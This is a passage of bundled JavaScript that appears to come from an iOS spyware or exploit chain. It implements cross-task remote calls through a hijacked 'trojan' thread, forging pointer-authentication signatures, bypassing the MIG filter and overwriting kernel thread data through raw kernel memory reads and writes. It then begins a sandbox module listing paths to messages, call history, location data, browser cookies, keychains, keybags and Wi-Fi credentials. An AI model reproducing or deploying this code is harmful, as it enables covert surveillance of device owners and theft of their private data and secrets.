console.log(TAG,`Got result from Buffer of:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(result)}`); } #retryFirstThread(migFilterBypass) { if (migFilterBypass) migFilterBypass.pause(); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("sleep", 1n); if (migFilterBypass) migFilterBypass.resume(); return _Task__WEBPACK_IMPORTED_MODULE_3__["default"].firstThread(this.#taskAddr); } #signState(SigningThread,state,pc,lr) { //console.log(TAG,`state.opaque_flags:${Utils.hex(state.opaque_flags)}`); let diver = BigInt(state.opaque_flags) & __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK; //console.log(TAG,`diver after:${Utils.hex(diver)}`); let discPC = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_blend_discriminator(BigInt(diver), libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator_special("pc")); let discLR = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_blend_discriminator(BigInt(diver), libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator_special("lr")); //console.log(TAG,`discPC:${Utils.hex(discPC)}`); //console.log(TAG,`discLR:${Utils.hex(discLR)}`); /* C wrapper for ptrauth utils discPC = Native.callSymbol("wrapper_ptrauth_blend_discriminator",BigInt(diver),Utils.ptrauth_string_discriminator("pc")); discLR = Native.callSymbol("wrapper_ptrauth_blend_discriminator",BigInt(diver), Utils.ptrauth_string_discriminator("lr")); console.log(TAG,`discPC after:${Utils.hex(discPC)}`); console.log(TAG,`discLR after:${Utils.hex(discLR)}`); */ if (pc) { state.opaque_flags &= ~(__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC); state.opaque_pc = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(SigningThread, pc, discPC); } if (lr) { state.opaque_flags &= ~( __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR | __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR); state.opaque_lr = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(SigningThread, lr, discLR); } return state; } #setExceptionPortOnThread(exceptionPort, currThread, migFilterBypass=null) { let success = false; let thread_set_exception_ports_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("thread_set_exception_ports"); let pthread_exit_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("pthread_exit"); //console.log(TAG, "pc: " + Utils.hex(thread_set_exception_ports_addr)); //console.log(TAG, "pc signed: " + Utils.hex(Native.pacia(thread_set_exception_ports_addr, Utils.ptrauth_string_discriminator("pc")))); //console.log(TAG, "pc signed 0: " + Utils.hex(Native.pacia(thread_set_exception_ports_addr, 0))); //let stackMem = Native.callSymbol("malloc", 0x8000); //let thread_set_exception_ports_addr = Native.dlsym("_exit"); //let stateBuff = new ArrayBuffer(Utils.ARM_THREAD_STATE64_SIZE); //let state = new ThreadState(stateBuff); //let kr = Native.callSymbol("thread_create_running", 0x203, Utils.ARM_THREAD_STATE64, statePtr, Utils.ARM_THREAD_STATE64_COUNT, machThreadPtr); let pthreadPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np", pthreadPtr, 0, thread_set_exception_ports_addr, 0); let pthread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(pthreadPtr); //console.log(TAG, "pthread: " + Utils.hex(pthread)); let machThread = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np", pthread)); let machThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(machThread); //console.log(TAG, `machThread:${Utils.hex(machThread)} machThreadAddr:${Utils.hex(machThreadAddr)}`); if (migFilterBypass) migFilterBypass.monitorThreads(this.#selfThreadAddr, machThreadAddr); let state = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getState(machThread); if (!state) { console.log(TAG, "Unable to read thread state"); return false; } //console.log(TAG, "thread_get_state OK"); state.opaque_pc = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(thread_set_exception_ports_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("pc")); state.opaque_lr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(pthread_exit_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("lr")); //state.opaque_sp = stackMem + 0x4000n; state.registers.set(0, this.#dummyThreadMach); state.registers.set(1, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_GUARD | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_BAD_ACCESS); state.registers.set(2, exceptionPort); state.registers.set(3, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXCEPTION_STATE | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MACH_EXCEPTION_CODES); state.registers.set(4, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64); //console.log(TAG, "pc: " + Utils.hex(state.opaque_pc)); //console.log(TAG, "lr: " + Utils.hex(state.opaque_lr)); //console.log(TAG, "sp: " + Utils.hex(state.opaque_sp)); //console.log(TAG, "x0: " + Utils.hex(state.registers.get(0))); //console.log(TAG, "x1: " + Utils.hex(state.registers.get(1))); //console.log(TAG, "x2: " + Utils.hex(state.registers.get(2))); //console.log(TAG, "x3: " + Utils.hex(state.registers.get(3))); //console.log(TAG, "x4: " + Utils.hex(state.registers.get(4))); if (migFilterBypass) libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000); if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setState(machThread, machThreadAddr, state)) return false; //console.log(TAG, "Thread.setState() OK"); if (migFilterBypass) libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000); _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setMutex(this.#dummyThreadAddr, this.#selfThreadCtid); if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].resume(machThread)) return false; //console.log(TAG, "Thread resume OK"); /* let threadmem = Native.callSymbol("malloc",0x400); Native.write64(threadmem + 0x100n, this.#dummyThreadMach); Native.write64(threadmem + 0x108n, exceptionPort); Native.callSymbol("usleep",100n); Chain.threadSpawn(this.#exceptionThreadCFString, threadmem); let timeout = 10000n; if(largeTimeout) timeout = 30000n; Native.callSymbol("usleep",timeout); let machThread = Native.read64(threadmem + 0x100n); Native.callSymbol("free",threadmem); let machThreadAddr = 0n; if(machThread == this.#dummyThreadMach) { console.log(TAG,`remote thread didn't succeed, aborting`); Thread.setMutex(this.#dummyThreadAddr, 0x40000000); // LCK_MTX_NEEDS_WAKEUP Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); // This will wake up setter Native.callSymbol("thread_set_exception_ports", this.#dummyThreadMach, 0n, ExceptionPort , Utils.EXCEPTION_STATE | Utils.MACH_EXCEPTION_CODES, BigInt(Utils.ARM_THREAD_STATE64)); Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); return false; } else machThreadAddr = Task.getPortKObject(machThread); */ //Native.callSymbol("usleep",100n); //kr = Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); //console.log(TAG, "thread_switch: " + kr); //if (!machThreadAddr) //{ // console.log(TAG,`Unable to get machThreadAddr`); //return false; //} //console.log(TAG, "Successfully switched to new mach thread"); //Native.callSymbol("sleep", 2); //Native.callSymbol("usleep", 100000); //Native.callSymbol("sleep", 1); for (let i=0; i<10; i++) { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 200000); let kstack = 0x0n; //let retries = 0n; //while (true && !kstack && retries < 100000n) //{ // //Native.callSymbol("usleep",100n); // kstack = Thread.getStack(machThreadAddr); // retries++; //} kstack = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getStack(machThreadAddr); if (!kstack) { console.log(TAG,`Failed to get kstack. Retry...`); continue; } //console.log(TAG,`kstack:${Utils.hex(kstack)}`); // Waiting a bit longer to make sure pointer is valid //Native.callSymbol("usleep",10000n); //console.log(TAG,`Current mutex:${Utils.hex(Thread.getMutex(this.#dummyThreadAddr))}`); //uwrite64(threadmem + 0x100n,0x0n); // instead of free let kernelSPOffset = BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE * 12); let kernelSP = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(kstack + kernelSPOffset); if (!kernelSP) { console.log(TAG, "Failed to get SP. Retry..."); continue; } //console.log(TAG,`kernelSP:${Utils.hex(kernelSP)}`); //Native.callSymbol("usleep",20000n); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep",100n); //let data = Native.callSymbol("malloc",0x1000n); //console.log(TAG,`Before reading from page`); let dataBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].readBuff(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + 0x3000n, 0x1000); if (!dataBuff) { console.log(TAG, "Failed to read from kernel SP. Aborting..."); break; } //console.log(TAG,`Second read finished succesfully`); //Native.callSymbol("usleep",100n); //let dataBuff = Native.read(data,0x1000); //Native.callSymbol("free",data); //let troPointer = Native.mem; let buffer = new ArrayBuffer(8); const view = new DataView(buffer); view.setBigUint64(0,this.#dummyThreadTro,true); let found = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].memmem(dataBuff,buffer); //console.log(TAG,`found:${Utils.hex(found)}`); found = BigInt(found) + 0x3000n; let correctTro = false; let val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + found + 0x18n, val, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readPtr(val); if(val == 0x1002) correctTro = true; else { console.log(TAG, "Wrong tro. Retry..."); continue; } //console.log(TAG,`Wrong tro, skipping this thread`); if (found && correctTro) { //console.log(TAG,`Found TRO!`); if(_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTask(currThread) == this.#taskAddr) { let tro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(currThread); //console.log(TAG,`tro:${Utils.hex(tro)}`); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write64(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + BigInt(found), tro); success = true; break; } else { console.log(TAG,`got empty tro, skip writing`); } } else { console.log(TAG, `didnt find tro for ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)}`); } } //console.log(TAG,`Injecting into:${Utils.hex(currThread)}`); // Set LCK_MTX_NEEDS_WAKEUP so that setter would be woken up by the turnstile of the lock on next use. _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setMutex(this.#dummyThreadAddr, 0x40000000); // LCK_MTX_NEEDS_WAKEUP //Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); // This will wake up setter libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("thread_set_exception_ports", this.#dummyThreadMach, 0n, exceptionPort , libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXCEPTION_STATE | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MACH_EXCEPTION_CODES, BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64)); //Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); //Native.callSymbol("usleep",40000n); //console.log(TAG,`After second thread switch`); //pthread_join(setExceptionThread, NULL); //mpd_js_thread_join(th); //free(data); //console.log(TAG,`Finish injecting into:${Utils.hex(currThread)}`); if (migFilterBypass) libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000); return success; } #doRemoteCallTemp( timeout, name, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n, x6 = 0n, x7 = 0n) { let newTimeout = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MAX(10000,timeout); //Calculate actual pc addr let pcAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym(name); // First wait for the pending exception caused by previous state corruption, so we can the reply with a new state. let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, newTimeout, false)) { console.log(TAG,`Don't receive first exception on original thread`); return 0; } let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); this._lastLiveSP = exc.threadState.opaque_sp & 0x7fffffffffn; // Set the new state let newState = exc.threadState; newState.registers.set(0,x0); newState.registers.set(1,x1); newState.registers.set(2,x2); newState.registers.set(3,x3); newState.registers.set(4,x4); newState.registers.set(5,x5); newState.registers.set(6,x6); newState.registers.set(7,x7); newState = this.#signState(this.#trojanThreadAddr, newState, pcAddr, fakeLRTrojanCreator); _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); exc.threadState.registers.set(0,x0); // Don't wait for a new exception if timeout is < 0. Eg, when doing cleanup of trojan thread. if (timeout < 0) { console.log(TAG,`Trojan thread cleanup`); return 0; } // Wait for the exception on LR corruption, so we can get return value of the call. if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, newTimeout, false)) { console.log(TAG,`Don't receive second exception on original thread`); return 0; } excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); let retValue = exc.threadState.registers.get(0); // Corrupt again PC so we can control flow for the next call. newState = exc.threadState; // Can be therotical used one previous implementation doesn't set LR //signState(remoteCall->trojanThreadAddr, &newState, 0x101, 0); _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); return retValue; } #doRemoteCallStable( timeout, name, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n, x6 = 0n, x7 = 0n) { if (!this.#creatingExtraThread) return this.#doRemoteCallTemp(timeout, name, x0, x1, x2, x3, x4, x5, x6, x7); //Calculate actual pc addr let pcAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym(name); if (!pcAddr) { console.log(TAG, "Unable to find symbol: " + name); return 0; } let newTimeout = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MAX(10000,timeout); // First wait for the pending exception caused by previous state corruption, so we can the reply with a new state. let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false)) { console.log(TAG,`Don't receive first exception on new thread`); return 0; } let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); this._lastLiveSP = exc.threadState.opaque_sp & 0x7fffffffffn; // Set the new state let newState = exc.threadState; newState.registers.set(0,x0); newState.registers.set(1,x1); newState.registers.set(2,x2); newState.registers.set(3,x3); newState.registers.set(4,x4); newState.registers.set(5,x5); newState.registers.set(6,x6); newState.registers.set(7,x7); newState = this.#signState(this.#trojanThreadAddr, newState, pcAddr, fakeLRTrojan); _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); exc.threadState.registers.set(0, x0); // Don't wait for a new exception if timeout is < 0. Eg, when doing cleanup of trojan thread. if (timeout < 0) { console.log(TAG,`Trojan thread cleanup`); return 0; } // Wait for the exception on LR corruption, so we can get return value of the call. if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false)) { console.log(TAG,`Don't receive second exception on new thread`); return 0; } excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); let retValue = exc.threadState.registers.get(0); // Corrupt again PC so we can control flow for the next call. newState = exc.threadState; // Can be therotical used one previous implementation doesn't set LR //signState(remoteCall->trojanThreadAddr, &newState, 0x101, 0); _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); return retValue; } call( timeout, pc, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n, x6 = 0n, x7 = 0n) { //console.log(TAG, `call(${Utils.hex(pc)}, ${Utils.hex(x0)}, ${Utils.hex(x1)}, ${Utils.hex(x2)}, ${Utils.hex(x3)})`); return this.#doRemoteCallStable(timeout, pc, x0, x1, x2, x3, x4, x5, x6, x7); } #restoreTrojanThread(state) { let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, 20000, false)) { console.log(TAG,`Failed to receive first exception while restoring`); return false; } let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); state.opaque_flags = exc.threadState.opaque_flags; state = this.#signState(this.#trojanThreadAddr, state,state.opaque_pc,state.opaque_lr); _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, state, false); return true; } destroy() { this.#doRemoteCallStable(100, "munmap", this.#trojanMem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE); if (this.#creatingExtraThread) this.#doRemoteCallStable(-1, "pthread_exit"); else this.#restoreTrojanThread(this.#originalState); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#firstExceptionPort, 0n, 0n); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#secondExceptionPort, 0n, 0n); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_cancel", this.#dummyThread); } read(src, dst, size) { if (!src || !dst || !size) return false; dst = BigInt(dst); src = BigInt(src); size = BigInt(size); //console.log(TAG, `read(): src=${Utils.hex(src)}, dst=${Utils.hex(dst)}, size=${size}`); let until = src + size; while (src < until) { size = until - src; let offs = src & libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_MASK; let copyCount = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MIN(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].round_page(src + 1n) - src, size); let pageAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(src); let remotePage = this.#getShmemForPage(pageAddr); if (!remotePage) { console.log(TAG, "read() failed: unable to find remote page"); return false; } //console.log(TAG,`remotePage: remote=${Utils.hex(remotePage.remoteAddress)}, local=${Utils.hex(remotePage.localAddress)}, port=${Utils.hex(remotePage.port)}`); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("memcpy", dst, remotePage.localAddress + offs, copyCount); src += copyCount; dst += copyCount; } return true; } write(dst, src, size) { if (!src || !dst || !size) return false; dst = BigInt(dst); src = BigInt(src); size = BigInt(size); let until = dst + size; //console.log(TAG, `write(): dst=${Utils.hex(dst)}, src=${Utils.hex(src)}, size=${size}`); while (dst < until) { size = until - dst; let offs = dst & libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_MASK; let copyCount = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MIN(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].round_page(dst + 1n) - dst, size); let pageAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(dst); let remotePage = this.#getShmemForPage(pageAddr); if (!remotePage) { console.log(TAG, "write() failed: unable to find remote page"); return false; } //console.log(TAG,`remotePage: remote=${Utils.hex(remotePage.remoteAddress)}, local=${Utils.hex(remotePage.localAddress)}, offs=${offs}, length=${copyCount}, port=${Utils.hex(remotePage.port)}`); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("memcpy", remotePage.localAddress + offs, src, copyCount); dst += copyCount; src += copyCount; } return true; } writeStr(dst, str) { if (!str) return false; //return this.write(dst, Native.getCString(str), str.length + 1); let mem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("malloc", str.length + 1); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].writeString(mem, str); const ret = this.write(dst, mem, str.length + 1); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("free", mem); return ret; } read64(src) { if (!this.read(src, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE)) return false; const buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); const view = new DataView(buff); return view.getBigUint64(0, true); } write64(dst, val) { const buff = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); const view = new DataView(buff); view.setBigUint64(0, val, true); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, buff); return this.write(dst, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); } mem() { return this.#trojanMem; } lastLiveSP() { return this._lastLiveSP || 0n; } pac(address,modifier) { return _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(this.#trojanThreadAddr, address, modifier); } insertRight(port, right) { //console.log(TAG, "Insert right: " + Utils.hex(port)); const MACH_MSG_TYPE_COPY_SEND = 19; let msgBuff = new ArrayBuffer(24); let msg = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"](msgBuff); msg.msgh_id = 0x4141; msg.msgh_remote_port = this.#localPort; msg.msgh_local_port = port; msg.msgh_size = 24; msg.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, right); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, msgBuff); let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_msg_send", libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem); if (ret != 0) { let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_error_string", ret); errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readString(errString); console.log(TAG, "insertRight: error while sending message: " + errString); return 0; } //TODO receive in remote task msg.msgh_size = 0x100; msg.msgh_local_port = this.#remotePort; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, msgBuff); this.write(this.#trojanMem, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, 24); ret = this.#doRemoteCallStable(100, "mach_msg_receive", this.#trojanMem); if (ret != 0) { let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_error_string", ret); errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readString(errString); console.log(TAG, "insertRight: error while receiving message: " + errString); return 0; } this.read(this.#trojanMem, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n, 24); let recvBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n, 24); let recvMsg = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"](recvBuff); //console.log(TAG, "Recv msg id: " + Utils.hex(recvMsg.msgh_id)); //console.log(TAG, "Recv remote port: " + Utils.hex(recvMsg.msgh_remote_port)); ret = this.#doRemoteCallStable(100, "fileport_makefd", recvMsg.msgh_remote_port); if (ret < 0) { console.log(TAG, "insertRight: error with fileport_makefd"); return 0; } //console.log(TAG, "Remote fileport_makefd: " + ret); return ret; } #putShmemInCache(shmem) { for (let i=0; i { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ Sandbox) /* harmony export */ }); /* harmony import */ var libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/FileUtils */ "./src/libs/JSUtils/FileUtils.js"); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); /* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); /* harmony import */ var _RemoteCall__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./RemoteCall */ "./src/libs/TaskRop/RemoteCall.js"); /* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); /* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); const TAG = "SANDBOX"; class Sandbox { static #launchdTask = null; static #PathDictionary = { // Communications "/private/var/mobile/Library/AddressBook/":0, "/private/var/mobile/Library/CallHistoryDB/":0, "/private/var/mobile/Library/DoNotDisturb/":0, "/private/var/mobile/Library/SMS/":0, "/private/var/mobile/Library/Calendar/":0, "/private/var/mobile/Library/Mail/":0, "/private/var/mobile/Library/Voicemail/":0, "/var/mobile/Library/Recordings":0, // Location "/private/var/root/Library/Caches/locationd":0, "/private/var/root/Library/Caches/locationd/":0, "/private/var/mobile/Library/Caches/locationd/":0, "/private/var/mobile/Library/Caches/com.apple.routined/":0, // Browser & Cookies "/private/var/mobile/Library/Safari/":0, "/private/var/mobile/Library/Cookies/":0, "/private/var/mobile/Cookies/":0, // Credentials & WiFi "/private/var/Keychains/":0, "/var/Keychains/":0, "/private/var/keybags/":0, "/var/keybags/":0, "/private/var/keybags/systembag.kb":0, "/private/var/keybags/persona.kb":0, "/private/var/keybags/usersession.kb":0, "/private/var/keybags/backup/":0, "/var/keybags/":0, "/var/keybags/systembag.kb":0, "/var/keybags/persona.kb":0, "/var/keybags/usersession.kb":0, "/var/keybags/backup/":0, "/var/keybags/backup/backup_keys_cache.sqlite":0, "/private/var/preferences/com.apple.wifi.known-networks.plist":0, "/private/var/preferences/SystemConfiguration/":0, "/private/var/preferences/SystemConfiguration/preferences.plist":0, "/private/var/preferences/SystemConfiguration/com.apple.wifi.plist":0, "/private/var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist":0, "/private/var/networkd/db/":0, "/var/wireless/":0, "/private/var/wireless/":0, "/var/wireless/Library/":0, "/var/wireless/Library/Caches/":0, "/var/wireless/Library/Preferences/":0, "/var/wireless/Library/Databases/":0, "/var/wireless/Library/ControlCenter/":0, "/private/var/wireless/Library/":0, "/private/var/wireless/Library/Preferences/":0, "/private/var/wireless/Library/Databases/":0, "/private/var/wireless/Library/ControlCenter/":0, "/private/var/mobile/Library/CoreDuet/":0, "/private/var/mobile/Library/CoreDuet/People/":0, "/private/var/mobile/Library/PersonalizationPortrait/":0, "/var/log/":0, "/private/var/log/":0, "/var/db/":0, "/private/var/db/":0, "/var/run/":0, "/private/var/run/":0, // Personal Data "/private/var/mobile/Library/Notes/":0, 